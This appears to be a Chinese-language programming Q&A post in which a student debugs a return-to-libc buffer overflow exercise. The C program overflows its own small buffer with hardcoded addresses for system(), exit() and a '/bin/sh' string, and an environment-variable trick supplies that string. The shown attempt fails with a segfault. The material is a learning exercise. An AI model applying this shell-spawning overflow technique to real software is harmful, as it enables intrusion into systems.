我应该想出一个利用"返回libc缓冲区溢出"的程序.执行时,它会干净地退出并显示SHELL提示符.该程序在bash终端中执行.以下是我的C代码:
#include <stdio.h>
int main(int argc, char*argv[]){
char buffer[7];
char buf[42];
int i = 0;
while(i < 28)
{
buf[i] = 'a';
i = i + 1;
}
*(int *)&buf[28] = 0x4c4ab0;
*(int *)&buf[32] = 0x4ba520;
*(int *)&buf[36] = 0xbfffff13;
strcpy(buffer, buf);
return 0;
}
Run Code Online (Sandbox Code Playgroud)
使用gdb,我已经能够确定以下内容:
我也知道,使用gdb,在我的缓冲区变量中插入32"A"会覆盖返回地址.因此,假设系统调用是4个字节,我首先填充28字节的内存"泄漏".在第28个字节,我开始我的系统调用,然后退出调用,最后添加我的"/ bin/sh"内存位置.
但是,当我运行程序时,我得到以下内容:
sh: B???: command not found
Segmentation fault (core dumped)
Run Code Online (Sandbox Code Playgroud)
我真的不确定我做错了什么......
[编辑]:我能够通过导出环境变量获得字符串"/ bin/sh":
export MYSHELL="/bin/sh"
Run Code Online (Sandbox Code Playgroud)